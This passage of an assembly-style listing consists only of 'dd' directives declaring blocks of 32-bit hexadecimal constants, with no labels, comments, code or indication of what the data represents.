dd 62902C7Bh, 35C632C0h, 0AE30D49Eh, 65178F86h, 0A1910FD6h
dd 0E0FFAA16h, 858A35FDh, 1A2C3FACh, 1458530Dh, 0DFE59D07h
dd 0D42288D5h, 88527524h, 0D037AEB5h, 74C4B857h, 25F7AF68h
dd 0BB2F91D8h, 0C1548C93h, 2CA4FCA4h, 0ECA7B238h, 6432C40Bh
dd 0FB25708Eh, 0A06EE9DDh, 0A3B2783h, 0BF70CB65h, 0B201C3B2h
dd 0CA7DAC94h, 0B4D4DB04h, 0D7307345h, 0EFDE467Eh, 790857B0h
dd 42207392h, 9EB43D02h, 4A38E9Eh, 763AE9EAh, 70531B90h
dd 0DA8E4256h, 1D7EBA4Eh, 0DA0217D9h, 0CEB61A2Ch, 12E8172h
dd 0A0DE8B23h, 0EA22B794h, 0DD602668h, 8C98DED9h, 0EBCFD0BDh
dd 5827E89Dh, 0F2FC3C12h, 8195B649h, 0E09FD407h, 3FF7AC89h
dd 0BE670F15h, 0AA51428Bh, 0D9A516B9h, 0B3EDCBACh, 24D6FF46h
dd 1E7E1D79h, 0AF5AE137h, 0C1BAEFCEh, 0F9E94E26h, 0B982332Dh
dd 8950B977h, 90C6ACB1h, 1DB3AC10h, 826ECD0Dh, 716CADFDh
dd 6154EC61h, 0EEF4BE99h, 52F90BEFh, 804A550Fh, 0FB998D7Bh
dd 0DB95EB83h, 350FEB61h, 6FF6E35Eh, 5F3D1C12h, 9443BECh
dd 8D4C2570h, 0F3770291h, 955C9DD3h, 0C47EB53Dh, 0D1157455h
dd 1BD46948h, 17A4B235h, 0EE143793h, 5E92320Dh, 2BE5BE6Dh
dd 848CDAB4h, 4E87751Bh, 0E264D019h, 746F2DEDh, 4A541823h
dd 5DC7C6DCh, 0A4F0BB18h, 0CD22CD9Eh, 718E4B63h, 0C529B8EBh
dd 0E35589CBh, 50CC0CA5h, 0E37F248Fh, 0C1AC6D54h, 798F339Ah
dd 4678E148h, 0EC726600h, 0D194FFA8h, 0CE0AD564h, 2A443FA7h
dd 814A61B4h, 2631AE3Ch, 0F0B0BF20h, 16ED55E0h, 0E11BF2C2h
dd 0A722C995h, 0B3E6414Dh, 0FBBA9215h, 0D825CBA3h, 0CD1364C9h
dd 0A9A6933Bh, 157C59Eh, 0C52FF41Dh, 0D459A616h, 0F617EF52h
dd 4BDDA818h, 0C7BEC4B6h, 7EA88E96h, 1F6A99B6h, 632FB111h
dd 5ECE2116h, 6B7564FBh, 4EA3FA07h, 4587D329h, 1E8546D5h
dd 6BCC9B74h, 61314B99h, 3F6014Eh, 0B1155DE8h, 78F29DE7h
dd 831726C5h, 2684D3BBh, 0F0891F55h, 957CC86Eh, 0AA7E099Ah
dd 0DE0272E1h, 0E89A32E0h, 6526F210h, 0CD876F34h, 0FA247929h
dd 3FF0A9B3h, 0D9538690h, 0ECD1DCB6h, 0D90CE462h, 0FF197372h
dd 0CAC0CA2Fh, 42BFD72Ch, 0AD17C563h, 3E2EF549h, 417AE92Ah
dd 1003FEC9h, 22CB7CE1h, 0A0534597h, 84A0EEE5h, 50EC1929h
dd 0FBC5BEE0h, 0F886A07h, 0E672BD22h, 5D4E6ECEh, 0BBAC785Fh
dd 71A45217h, 0B7EBA286h, 84588C81h, 0EED89374h, 3867687Ch
dd 8C9C50DEh, 2D517369h, 0F208919Bh, 795A4E19h, 70C395EDh
dd 131B3FD0h, 0FAD53581h, 0B9C75351h, 0C5ABA456h, 0A1CD3065h
dd 0DFD9AA35h, 0EF8D0BBAh, 10ADA284h, 30107C04h, 0FD62206Dh
dd 0F876D699h, 0A2957A5Bh, 9900E6E5h, 0E6F4EF27h, 0B25C3B0Eh
dd 9778F178h, 73F3DA61h, 80D5375Dh, 0FE6AC86Dh, 4719AC94h
dd 42B19029h, 18A2AB2Ch, 72C0F38Ch, 451542AFh, 6590625Fh
dd 59411DD1h, 9FE2C0A1h, 51801F55h, 0DCD89B96h, 32122389h
dd 0D3EDB9B5h, 0A28BC3C7h, 0D18FA80h, 0EF26353Ah, 3D86719Bh
dd 9A467891h, 69FC25C8h, 5BC7C870h, 0D52FAF54h, 9BEC2960h
dd 7A784781h, 747BBB08h, 0B5D8D44Ah, 0D05DA7D6h, 733E3D96h
dd 8386010Ch, 0C267D9E7h, 9BFA2C54h, 0A2EAC4A6h, 492FEC3Dh
dd 90EA6802h, 0C742B647h, 26E2C6AFh, 89F71BFDh, 0A9509517h
dd 0B2EE9C5Ah, 2383DC61h, 0A968309Ch, 643C51D3h, 471BA78Bh
dd 0AAFFEE2Fh, 0B4E9D128h, 0DBE17B13h, 4384AD05h, 0A5E85164h
dd 950E57AEh, 0C4E3CF17h, 44D7F3B8h, 9487A3FFh, 0DC12668h
dd 0D5D7A41Dh, 9972AC15h, 0EA959DD7h, 47EC925Fh, 0EA4196CAh
dd 0C91462FFh, 83C911A4h, 73159DDDh, 0BE9A14EEh, 0EE9B1DC9h
dd 58C8305Bh, 201069A1h, 800FEEE0h, 4C39812Eh, 5AA0FAD6h
dd 84E2C2Ch, 0E6F2D7F7h, 39E73BB3h, 667B2223h, 0A6021E70h
dd 10355A2Ah, 7608B404h, 0E5BC01F5h, 0FF9E8DC4h, 3D63FAEAh
dd 9C8A91F2h, 0E3B9508Ch, 21200141h, 0F8D3208Bh, 0A536B804h
dd 65DBE9EFh, 0EF3B834Dh, 0FB663A12h, 516671Fh, 7E7F6B64h
dd 0E634C7B8h, 7539154Fh, 0A0141AF5h, 353C84E0h, 0BBA40C95h
dd 28982CAAh, 22D3E331h, 0B4062C8h, 5AAA5885h, 0C9E5C5FFh
dd 0FBFFA3D6h, 0CB7D7D1h, 446ACF70h, 9EF0FC61h, 3D73AE20h
dd 38E65478h, 0D2A5DED3h, 126C85F0h, 8CE056FFh, 0FBB39300h
dd 0B9AAA864h, 7729A6FFh, 9E859B48h, 0ECB5728Ah, 0B8DDB1A5h
dd 0D0A9F461h, 759B0EDAh, 85E44519h, 209BCA0Dh, 0E8CAC47Ah
dd 7A412D5Ch, 16EF2055h, 9026F552h, 0F2E7759Bh, 65F0CC40h
dd 0D1B111C1h, 0F3BDF8D5h, 31E1E9C7h, 0A47408D2h, 0EB6EC9FBh
dd 0E9E0A09Dh, 0AC23DF86h, 0EF9E210Fh, 4F95DF18h, 75BBE749h
dd 0DEA15DACh, 0CD581F28h, 2B7AFB4Bh, 9CC8AE7Ah, 250515A9h
dd 72800C3Fh, 0FEC3D661h, 4C92A585h, 7A8E9E67h, 0F5B5BCB3h
dd 0DC5DB02Ch, 80D3C3E1h
dd 5AA8E778h, 30B7B53Eh, 0D792B6C4h, 3D2F1316h, 0BC035310h
dd 0AD850306h, 6DF0DB55h, 1D8F2F65h, 0C10CF906h, 2C7C1038h
dd 0C3D99BBFh, 83395C09h, 349EB2D1h, 28B7C65Fh, 0C338DF47h
dd 2030E3B4h, 5654966Dh, 9888B81h, 977ECC1Eh, 0D72227C3h
dd 9F04BA3Ah, 9C4E0BC2h, 8217DD85h, 0A22CA428h, 1D62C286h
dd 41EEC0BEh, 77C659E0h, 82B56229h, 6B9A42E1h, 85E71D5Ah
dd 80450959h, 0E89A7371h, 0CC525128h, 65ABD85Fh, 7F90D6D7h
dd 58DDAF28h, 9FFE1D6Bh, 0F9CB5FBBh, 198A4320h, 6E62C0D1h
dd 0CF9CEFE9h, 0EE5330C4h, 9FDA9DF8h, 39BC7467h, 0F082161Ch
dd 0E3291107h, 0A3BEFD09h, 0E1EBF390h, 0AD804EEDh, 0BD71AA89h
dd 43C7BC1Fh, 572D565Dh, 2A8FDF5Fh, 1C6421C0h, 5B5852E4h
dd 8B3F1476h, 726C8356h, 27E2FA7Dh, 577436CDh, 354866A1h
dd 621050CEh, 9C67430Ch, 28E951Eh, 0D24D4842h, 5831F2D4h
dd 0BD164723h, 3C676E22h, 5C4297B5h, 5D64494Bh, 49362DF7h
dd 4A95ED04h, 0FEC9511Eh, 0D459B31Ah, 3386AF2h, 0DE3DD7F3h
dd 0F11588AAh, 113FB6A2h, 0E5CCF7C7h, 84F0BBD4h, 0F073E950h
dd 35365CAFh, 0C6F91480h, 7CEE5974h, 1F983A4Ah, 0B1CE5FC8h
dd 41D0F967h, 0DCC98949h, 0A7B019ADh, 0C3DD1FDDh, 30A9C19Dh
dd 0F424ECB0h, 0F982234Ah, 2A64B117h, 85BDE2D5h, 616B93D8h
dd 99E21EB2h, 91EC69D8h, 7849B471h, 0CE9FADE4h, 260338Ch
dd 60B0EC15h, 36D6AEC7h, 55EA7461h, 7CA6E56Dh, 0E011481Ch
dd 4B3535C1h, 0E2AED94Eh, 0C811F1F4h, 2AA795EFh, 6AEFAE77h
dd 0AB3424A0h, 0F65DFCFEh, 7E7CD9DAh, 0C2C59CEDh, 0C43EAA0Ah
dd 0AE9CC823h, 3B86603Fh, 1B78006h, 70AEF94Fh, 0B0DAFA78h
dd 6C18360Fh, 0E0115DB7h, 0AFA8C36h, 0DC45BAAEh, 31A74385h
dd 9C960CDEh, 0F5A6D249h, 735DA748h, 82F8397Ah, 2E1F10A9h
dd 0E70C9900h, 0EBBF2AA3h, 8A0A504Ah, 0DB8FF973h, 0F9C64722h
dd 0CF9C90D1h, 14255616h, 0A76B0864h, 0E9252A3Ah, 0DFF119F3h
dd 0A14D60B1h, 0A1AF722Ah, 0F90E90B8h, 0EF99F98Ch, 90396EE4h
dd 0E4AF41FEh, 41284DDCh, 9409C465h, 223B23DDh, 2456E4F1h
dd 0EFA8D0C5h, 0C5DB70C8h, 34E113C9h, 10AC9F80h, 875D1F7Fh
dd 3D1816D0h, 18F0BF06h, 0FCC5DE89h, 1502EA0Dh, 506E0834h
dd 501F3D25h, 33C3C4CDh, 8D16D72Dh, 0E85E34E6h, 0EF351D51h
dd 0DFEEEA58h, 22909467h, 8ADE0C7Ah, 8253FA27h, 347CF15h
dd 8DDFD354h, 0DEB7B0A8h, 35F06944h, 92EACC39h, 8C7AAC3Fh
dd 893374EDh, 63EC52ADh, 444B2100h, 6545D942h, 85EA292Ah
dd 0F4B77192h, 0C5A7F901h, 0F6D53E07h, 0A5589CDh, 8DE55E23h
dd 2E31B5D5h, 0D2ABD928h, 14697E6Ch, 46D8057h, 0A3BAA4FAh
dd 0ED6F9C17h, 4C55E8DCh, 0C6009311h, 0EC0A001Dh, 652BFB4Bh
dd 0D59A99Ch, 59BEB2Ah, 1078790Dh, 3C487D42h, 0D442BA45h
dd 0F2B972Ah, 71928FDEh, 757231D9h, 1BECA412h, 8B0B3C1Eh
dd 7E63F35Ch, 14C7218Eh, 71EE8C36h, 0A99072F2h, 3D3620A4h
dd 91D90F46h, 0A22D1A1h, 0DF768D43h, 680ABF53h, 7D2EDAFCh
dd 0BE48098Bh, 779A8A13h, 581F1E15h, 1F52F5DAh, 0AF688E2Ch
dd 0D8C23C38h, 0A593CDDh, 0ACB26844h, 980AD2A7h, 8B36FCFBh
dd 35F3E0B5h, 8B4E942Fh, 0B4C0F44Fh, 332F80E1h, 8BEB3C44h
dd 0CC84D255h, 96867DD7h, 9337BBCh, 4EB4ADA3h, 0A507BEF0h
dd 0BD8F685Eh, 0F73EAA12h, 77F2C113h, 0E3E81352h, 8D6AE593h
dd 0C1880Fh, 0EEE0650Ch, 8A4C0EFh, 69615502h, 0A987DD5Ah
dd 80D09479h, 0AFAF3416h, 4BCEBE9Fh, 7DA761FDh, 54B1125h
dd 0D919B18Ch, 58F57E12h, 0C005C79Dh, 24DC8A28h, 0F32C21AFh
dd 5ABA87FDh, 0B74F8431h, 3146319Eh, 0D1B84DDh, 24B2BC05h
dd 3529B0B2h, 421100D8h, 0B5CD8432h, 0C2AC0A6Bh, 8472BB4Fh
dd 0E1E24627h, 84DB107Ah, 16D387DCh, 90E31CA3h, 3AC5A457h
dd 833E3458h, 19FB3E1Bh, 0A08F0607h, 0C7FDD777h, 7125D5BCh
dd 3E29FE78h, 0B9461465h, 0A5A3E335h, 0A9871A79h, 4A80495Ah
dd 110E6F93h, 4BC5C6Fh, 2113F875h, 27847C11h, 0DAC32AECh
dd 26A88D27h, 9A936807h, 1589F3FEh, 0B3BA5433h, 127781A0h
dd 8B4B0505h, 796EDC35h, 0B44B86A3h, 0B90AD1C3h, 0A90FAD19h
dd 15548226h, 0FD5D9A5Fh, 1C7212Fh, 0C61A464Bh, 91D4821Ah
dd 0CE53B6C2h, 0D309D471h, 1485AC1Bh, 2CCE9150h, 0CD23DC2Fh
dd 7BED4473h, 48A290DBh, 0D5A056Ah, 0F5ABBF9Eh, 46C8DBC4h
dd 9197256h, 5FE20685h, 0A468117Ch, 0D61DF650h, 5BDB98CEh
dd 1EF712B6h, 0EC845834h, 0BB274A68h, 6CCD87E5h, 4207C7BEh
dd 654AFD0h, 0D819CECFh, 65666E6Fh, 2605AEB4h, 0E29BB514h
dd 0A672FBDDh, 0FE8BC502h, 249A3476h, 3345879Eh, 87783014h
dd 16EFEFC7h, 9D3DBDE2h, 0AA275F45h, 9143F22Eh, 16AA3F9Bh
dd 66E2EEA3h, 0AC374620h, 7FC22086h, 28778C72h, 3516EA19h
dd 70E88A56h, 0AEE4AC7h, 7EBB3567h, 6F4799E7h, 856DC63Ah
dd 0DAFF0EFh, 9DA7A787h, 1D84796h, 6FCA341Eh, 0FB677F5h
dd 3D8736BBh, 85D4C773h, 3A697AB5h, 0C6F401ABh, 0EEBE0A0Eh
dd 605A35C5h, 71CC792Dh, 9EB062C9h, 370E40D9h, 0D6D3D4FAh
dd 8221C42h, 0BD92B060h, 0B7F05CECh, 1500A61Fh, 94B6F08Eh
dd 0C245B884h, 0C213D838h, 63A6A94Dh, 7C67DAFFh, 9DE27534h
dd 9935AC4Eh, 55C93F1Dh, 1F12F73Ah, 0B32F51A4h, 49C7347h
dd 72B69163h, 89B8A7B4h, 0B28E48CFh, 42069392h, 530B3CFAh
dd 964DFBF3h, 0F555CF53h, 0A916A7EFh, 0D04B94C5h, 3FF50346h
dd 8FF1E4B5h, 737E600h, 0F221265Eh, 79AB1BCh, 770F9DB9h
dd 12027267h, 6E7A5F7h, 0B1D7FB66h, 3396B7BAh, 0D94DE2E3h
dd 35846EF3h, 6E38C1A5h, 0EF628548h, 0E7BDA484h, 478852Ah
dd 0C50FE2E5h, 0E61D5E20h, 5D09167Bh, 7DF0522Dh, 0C34BB986h
dd 4F30AE5Fh, 19BC98E6h, 6BEF10F1h, 0F58C6C1Ch, 0B07B6FE9h
dd 0C5DAC067h, 0C03D406Ch, 296209C3h, 0A7FA0C30h, 80F5DC4Bh
dd 9793BE5Ah, 771BA793h, 8DAD1C97h, 14D26148h, 30DFA51Bh
dd 6D2F2949h, 5E985ECCh, 82560F43h, 84CA4690h, 0BF3948E6h
dd 2BD95D46h, 0E06152D2h, 274B3B10h, 0CF6E01D3h, 296EC4EBh
dd 0E242966Ch, 0FC246C82h, 120574CEh, 128A3BE3h, 3C8A6CBCh
dd 83A23BB8h, 1992BB60h, 38205BDFh, 0A973CD11h, 46A327D7h
dd 0CFFC3BCDh, 14C94971h, 1FFAEB19h, 723087Ah, 4A0668DEh
dd 74AA822Bh, 0FF06B960h, 0C96C0C02h, 58140D72h, 0C8FEEACCh
dd 0EC7A135Eh, 7E9AC64Fh, 98C81F6Dh, 9EFDEAEDh, 7C549996h
dd 0BAD0914Bh, 7E8AA09h, 69AAE3B2h, 6AA84E52h, 6FB563BBh
dd 2CB4BC09h, 0BA3712C6h, 0B178F7DDh, 0FAF553Bh, 5C2D6A47h
dd 2AFC63D9h, 5DBDAAECh, 5FABE011h, 610E614Bh, 4721C72h
dd 0F1EC91h, 3E265B42h, 872E54EBh, 0C095095Dh, 7F7438DDh
dd 0D34EFDAFh, 9D692BF8h, 40DBA206h, 5E6A7891h, 7A7C8879h
dd 97DD44E9h, 0E0008689h, 0B69C2711h, 2BD5760Ch, 24493F84h
dd 9E542B39h, 25BDA680h, 0B311960Bh, 0CF84A581h, 0EF7AE1C1h
dd 0F4D8E2E4h, 3EC297BDh, 0E6C7AAB3h, 945883F5h, 0CBD17C6Dh
dd 4CE91104h, 383A82C8h, 3C53806Ch, 2C754106h, 7ECA1B3Dh
dd 5477BCA7h, 0C9935BFBh, 0BD8D7DCBh, 0B1FD29C0h, 4C89EBAAh
dd 9343024Ah, 0E1AD6026h, 0DADB78CAh, 0C9D28025h, 15D6674Ch
dd 0E8C51F46h, 0B9E509h
dd 0BD8882Ch, 37243460h, 0B560469Ch, 2DEF6F50h, 0AD720AA6h
dd 698F77BFh, 0AC50F4A9h, 0A18F9801h, 1C0CF9CBh, 68D9BFE6h
dd 75A9131Ah, 0CD1BF9E7h, 29E9A34h, 0DE838E27h, 9AFF3CDEh
dd 6B7EB479h, 0A832F516h, 891FDEA4h, 0BE09A4E6h, 24DB574Eh
dd 4F1A738Dh, 0ECC5626Ah, 8B8FEE94h, 4FD449E1h, 6DCC756Ch
dd 22C9F798h, 0C0069802h, 87ED0E3Eh, 0B62B770h, 0A0BD26D4h
dd 21C4F4E0h, 192A8552h, 0EDE3A2EAh, 636D2084h, 0D92F6A84h
dd 476CC4D1h, 1142AD7Ah, 784C481Dh, 91E9C38Eh, 0B9368079h
dd 0AC806EECh, 0C51C9A10h, 0FC3231F0h, 0A52E2959h, 4D1F1C1Eh
dd 0E55AE021h, 0E8507D89h, 0F79E70F3h, 1BB32D16h, 0DD85F19Ch
dd 5C7CE123h, 0FB960594h, 24A4D49Eh, 17D3CFBh, 4F04698Ch
dd 0F63AC9D0h, 83A0156Ah, 0F5A9B49Bh, 17789023h, 0C23A45Ah
dd 6CE06139h, 0A27A1B8h, 0A196D163h, 8009EEF7h, 7669F3E7h
dd 6AD3AF42h, 252CA00Dh, 404197F0h, 0A5155505h, 0F5CDEEABh
dd 0BED95ED9h, 309CDD93h, 0A6DBFAB0h, 0E638E715h, 78058CC8h
dd 2F12B0A4h, 1E6E3D0Dh, 0AF6F6C6Bh, 2134EB6Bh, 0E6916180h
dd 8C1F5027h, 0BE2710B7h, 5B629DBDh, 0B5F7EB39h, 0BD0C594Bh
dd 2DF1F1A3h, 59163611h, 0D3CE8674h, 0D00CA3A5h, 2A5FF79Ah
dd 0B1714ACCh, 0CF28E604h, 0DFAB547Fh, 0C613EE80h, 8E04EE51h
dd 6FA5C3A7h, 8848408Bh, 6E87898Eh, 0D7D72738h, 3A6610FDh
dd 0A3A9B02Dh, 0F430CCABh, 0E29FFEAEh, 0D8D7FD31h, 0C0E7F5A8h
dd 3CFBEB0Dh, 6C35C289h, 8DCE4373h, 1A0637CEh, 515A22F6h
dd 0C01D09D9h, 1B6CE205h, 0B7D35B67h, 0EDB5436Ch, 1E2FF4C6h
dd 31226971h, 0DE9FAE2Fh, 74DC0547h, 90DAC272h, 0B88EEFFFh
dd 4B7FB405h, 8FD44BF4h, 0FA37FE78h, 9311371Ah, 9E52C0E0h
dd 40B90EE4h, 64E5DB1Eh, 677912FEh, 0D0842B46h, 11C143D1h
dd 28FEF681h, 6A250D8Eh, 0A6279D85h, 0D47C641Eh, 4B5C8957h
dd 1BC3EB5Fh, 824F38B6h, 89A2FFBDh, 0FCA37FF6h, 9894E119h
dd 0F948FC65h, 0F7A64524h, 7DEA6F8h, 76288018h, 5F58849h
dd 1EDCCDABh, 55379AE3h, 2929801Ch, 0CFDBF8E3h, 1EFD9BF1h
dd 0DC33E08Dh, 0CC843E9Eh, 9DBDFD7Ah, 0E0FDA200h, 65AFCA4Ch
dd 71EF6CEAh, 0CB72E925h, 0A5F325CCh, 4B97F33Fh, 0AD35BA1Bh
dd 932E37DDh, 3C5AFFE0h, 0C549E354h, 0E6D91ED2h, 0D84CC96Fh
dd 0AD6EF05Fh, 1EC21A16h, 0F0561645h, 73D585D1h, 87FC9DC1h
dd 1ABDE023h, 6E7FC4F9h, 0B4BC31EAh, 2DD0782Fh, 2619A0AAh
dd 0C18F9120h, 0ABBBBEF4h, 2A856A8Dh, 0BF97E059h, 5CB88DCBh
dd 0D8914C40h, 0CFE6C2D1h, 0E43D5DB2h, 0A234E259h, 1918265Dh
dd 0A52FAFB4h, 282A95FDh, 0F3DB71Dh, 0EF4F681Bh, 9B8E6CF3h
dd 5B3606h, 67EFB31Ch, 4C6586CCh, 64575E8Bh, 0E8F6BBA2h
dd 799DAA1Dh, 5B205571h, 2D4ECC6h, 212E105Bh, 0A359C3Ah
dd 8CA858A1h, 11CBF51h, 0B724D16Ah, 631EB974h, 0E4313B14h
dd 0F534CDB7h, 0A3A77B94h, 0FB0352DAh, 0A42EF39h, 4F0ED758h
dd 7E0AB916h, 7096A393h, 71D5635Ah, 5F305A8Ch, 0E7BFB4CCh
dd 5AE9DA0Ah, 0EEE01989h, 0B5EC0BC6h, 0BE8E4B93h, 5F6F4B4h
dd 0EE6B462Dh, 5BC619ADh, 0B3FC6A4Dh, 382F93B2h, 4AFDF6BCh
dd 0DC11C3DEh, 0AD57B07Bh, 0E0209420h, 0B4F19846h, 9AD7C0A0h
dd 0DCF68E7Eh, 0ED6057BAh, 81CB38DFh, 4FAF1971h, 0E8B5058Ah
dd 0A872FD4Ch, 2332C467h, 0CE3CA68Dh, 0D9C8E03h, 0B4447EB0h
dd 28EC3D5Eh, 4EEFC55Fh, 48A8E06Ah, 0D946066h, 0A13DB97Fh
dd 0BEF66362h, 722CC012h, 0BF3F33EBh, 0D4A96C94h, 9A6A156h
dd 8044E7F6h, 27A9B2A0h, 50097C95h, 0A26EB9B3h, 3104A2F7h
dd 0ABFCFE26h, 16E100BBh, 58601E94h, 0A69C2591h, 8A555C32h
dd 0FBE70914h, 270836BDh, 0F630B5C5h, 1BC6E1F6h, 4D3A5E0Eh
dd 0A2744F23h, 27124EC8h, 383B118Ch, 1DBB21CEh, 608A693Dh
dd 33F52186h, 583B5D7Eh, 0A0DEDCCh, 0ECF64386h, 0C12840B5h
dd 8DE8FC78h, 0B4C706EFh, 1D8C6F14h, 9D985BF3h, 0E4882FFh
dd 571C2Ah, 95997A8Ch, 55C90EA3h, 0CC6AECDEh, 27619A12h
dd 0C8F75BCDh, 55F8C078h, 2F3D0989h, 2E59927h, 0EE3F470Dh
dd 4EBC863h, 0C8AC301h, 7B13AE55h, 215312DFh, 6D64EC85h
dd 97B14DD2h, 65265ACAh, 0F23EA55h, 0CDA1DF0Ch, 0DA2E25A6h
dd 9533088Ch, 6B53BC4Bh, 0D8A4280Dh, 1B426BBEh, 0AB178BEBh
dd 6BAD5DEEh, 0C942F430h, 0E86EFC6Dh, 0ED335B68h, 0E279DAD2h
dd 7C4C2E96h, 0B943DF26h, 59CC2A4Fh, 8339225h, 19634ABEh
dd 0BA523D68h, 0EA7C6507h, 0F6186CEAh, 9B0BC29Eh, 7BD349DEh
dd 0D6EC3DF8h, 2BAADDCDh, 96900617h, 44DEA87Bh, 1B597DDEh
dd 7A798A3h, 222F74B6h, 0A7DDE39Ch, 917D6F08h, 18B87488h
dd 7B78628Fh, 9F279961h, 9E7988E1h, 1F66C10h, 13EC5CE6h
dd 0D305070Bh, 230AFE5Ah, 0EAE13E6Ah, 0DFE5F946h, 7BC34DE6h
dd 0A9EB7AECh, 0ED8E3D49h, 0E778A10h, 830E03C9h, 39BBD19Dh
dd 5C3DAC07h, 0F7B700FEh, 0DB1A0681h, 9A0DAD3h, 3D736CA1h
dd 0FE30FA3Ah, 333FB18Dh, 7B08B25h, 917F2843h, 0B1AC4A0Ch
dd 88D742EFh, 252CB2B9h, 9555818Bh, 0FBD54B0Ah, 0AA73AD5Fh
dd 0D1C82F2Dh, 0F202F736h, 41FACBD0h, 8DB562A3h, 5255A756h
dd 0D6BA7F4Dh, 554A2C81h, 891862Fh, 0C554640Ah, 0FD483C83h
dd 9F63C2C8h, 293E0E1Bh, 9531676Eh, 79D3EE82h, 3C62C604h
dd 20F7C2A7h, 629BA6D4h, 0ED94A553h, 0B24BF1F7h, 0C23378CFh
dd 609CE821h, 0EE91DDCDh, 37D21B0Dh, 2839768Ch, 0DBB0B5B2h
dd 292BE298h, 0C41D0A95h, 0DCCE5646h, 0E5A9DBEEh, 0F671B4B4h
dd 0E290673h, 0C5090533h, 1BE2B916h, 0A7722EECh, 0A6090ACBh
dd 5591A7D6h, 97A19D42h, 876C50F8h, 2C5AA8B5h, 0D3DA4E1Ah
dd 757D0134h, 0F949F8D7h, 50732F67h, 1BC4A0BAh, 79C63EA5h
dd 0B4EBDC6Dh, 2CCEB8A5h, 859994Fh, 45D80688h, 414BE1CDh
dd 23C0ABC7h, 0CE1CB7F3h, 1A9C383Eh, 0E3FBA121h, 0A43FA53h
dd 43D2E9AFh, 2E8AACA9h, 791B1C2Bh, 0F718EBE8h, 12E4323Fh
dd 0B1479EBEh, 9E845F02h, 0F01B4663h, 0F0FF9FB5h, 0FBE7BBBFh
dd 83512968h, 6AD267E3h, 0E600E29Dh, 0D040DB1h, 9754844h
dd 485B9A8h, 3AAB708Dh, 0B4618B2Bh, 0AC52348h, 4AC2829h
dd 3D0D6A7h, 42B1148Bh, 5D2E8AC5h, 9E81E9B4h, 2D14CFFh
dd 787164B3h, 26A9708Dh, 11FBFF58h, 12CF603Fh, 9D4E626Fh
dd 1CF563FEh, 591BEDD5h, 72E456EEh, 53BAEB5Dh, 8A95CED7h
dd 0C38B26Fh, 4E4C0610h, 68D5733h, 0EBA0335Ch, 63CDE292h
dd 1310398Fh, 7D1E6B47h, 0AFE91F91h, 0C6A9E877h, 479A4024h
dd 0C4125534h, 420B3F63h, 0FAA928E1h, 546DE0D1h, 0D677204Ch
dd 0D439F842h, 5F6D9A05h, 0EDB4FFD9h, 100A8CAAh, 74CF5CDDh
dd 5F4163Ah, 7A215EFAh, 0A282A726h, 0FE9201A7h, 9F3B53EAh
dd 17DF8894h, 43E385BCh, 772B3D0Fh, 3A64D2ADh, 38AD133Ch
dd 0AA62A026h, 0E900AC19h, 6CC38010h, 491907D0h, 0F52A90CAh
dd 14C52AE1h, 0F0C09237h, 0C069832Ch, 21A7444Eh, 1141B845h
dd 0A051DCAEh, 9EE7AB27h, 0D22AF94Ah, 3FFAA84Bh, 0D6B1F818h
dd 7FBE52A2h, 21458FDAh, 4E797F77h, 0BAABDD7h, 676654ABh
dd 4B9B8CB2h, 85A29042h, 5196C600h, 5A62BC46h, 43D2B93Eh
dd 558915AAh, 3553350Eh, 0B017B018h, 0CC7EF646h, 5B295CAFh
dd 2682774Eh, 0CF937B7Fh
dd 0F66C21D6h, 0F8A7210h, 0EC321149h, 94E63FB0h, 8FBB0737h
dd 4F8D2005h, 4BFBA841h, 525A96h, 0F7AC062Ah, 0F21556B9h
dd 61E4F17Ch, 6493AADCh, 11E27853h, 0FD545B3Ah, 0EA93A803h
dd 0FBE78C03h, 6783A450h, 0DF06EC8Ah, 0A7F02FE1h, 0A75641BBh
dd 75ABA217h, 4C95B90h, 26BD599Ah, 8B94A8DEh, 95CB6E3Ch
dd 0CF099CD2h, 0EED98B6Eh, 77E444F9h, 0BBCE365Dh, 57344A84h
dd 1B644261h, 0DE12856Fh, 0B76303A5h, 0C983172h, 3B929D89h
dd 5C6C230Eh, 0A780B621h, 0C783831Ch, 0F702762Ah, 0B14A5DE2h
dd 0F1114393h, 0D5F9E361h, 939CBB0Ah, 5A5D62F0h, 2C2A4BC1h
dd 743844E1h, 0B7CF61C0h, 9A9051EAh, 0DE5575A1h, 5E7A3196h
dd 0F2A89667h, 93A4BD68h, 0D9B5AF24h, 0F433AEC6h, 73FC93Ch
dd 92B04C16h, 9BA2942Dh, 0F7DA5B6Ch, 6DED5F15h, 8D8559D8h
dd 1422646Fh, 0EE9AC822h, 5C8F40F2h, 15512A1Bh, 0FEB2DB8Dh
dd 1397A2DCh, 10E8BE7Ah, 60C662F4h, 455A6E6Eh, 82A4F286h
dd 0ACF8E6D4h, 0C2F7A6ADh, 1D970B34h, 6DDE61E2h, 7481C33h
dd 0E115456Fh, 65DB1CCAh, 1DAF3F9Dh, 93D36AFDh, 0D3B45552h
dd 4BAB30CBh, 665383B4h, 0AA099F25h, 0FFE11608h, 0CA42404h
dd 775C0E84h, 0DCF6FAB0h, 7A57DC3Ch, 0C9E77F2Ah, 4E4008ADh
dd 90ABD37Eh, 9AE3928Bh, 16529739h, 1F9CE0BBh, 0AEB42326h
dd 0BDB53FA5h, 0FA4D79F2h, 0C41890B1h, 593A0E6h, 676841C3h
dd 1102C7E9h, 90CD2FA1h, 0E8DC9953h, 3A16FF51h, 0CE806050h
dd 0FD664A24h, 58A724A0h, 67A2FE80h, 91082652h, 4FA47A58h
dd 7A96E99Bh, 6A969D32h, 0FACDC249h, 0F4745762h, 633CBBF0h
dd 0C38E9043h, 9A71387Dh, 0ED99D710h, 29649CE7h, 0E3187747h
dd 0C8767524h, 93E26759h, 5D1CB97Fh, 1CFAF774h, 23B4ACA2h
dd 638FE2Dh, 3C6154E0h, 860BC922h, 0F8FD9B4Fh, 85227F09h
dd 0E3EFF7B2h, 678ED76Ch, 952EB5CCh, 58C8F59Fh, 1D18E7D0h
dd 957558A5h, 0BE40A3A2h, 0A59D89C1h, 3D0B90DFh, 9619F849h
dd 0B415F54Ah, 186B2D1Dh, 0B518608Dh, 6A72C379h, 0ED33F347h
dd 0A7CC56ADh, 89612403h, 3F942DA0h, 4804276Fh, 32463C80h
dd 98D81CB1h, 29E1C84Eh, 0C24EA7E5h, 0B2C0278Eh, 0EB91E53h
dd 4C6C19h, 6D0B55BFh, 83B92819h, 61361DE1h, 0B25B880h
dd 7D854749h, 0AC11B2B4h, 66176C9Eh, 0F1FD1618h, 0F38DF88Fh
dd 0FB29A2DDh, 37F85F19h, 80BBDB2Dh, 48032DC2h, 3DEC1363h
dd 53100F2h, 4B8E3CA9h, 0C0E1AAD1h, 0DD3171B5h, 0F882A374h
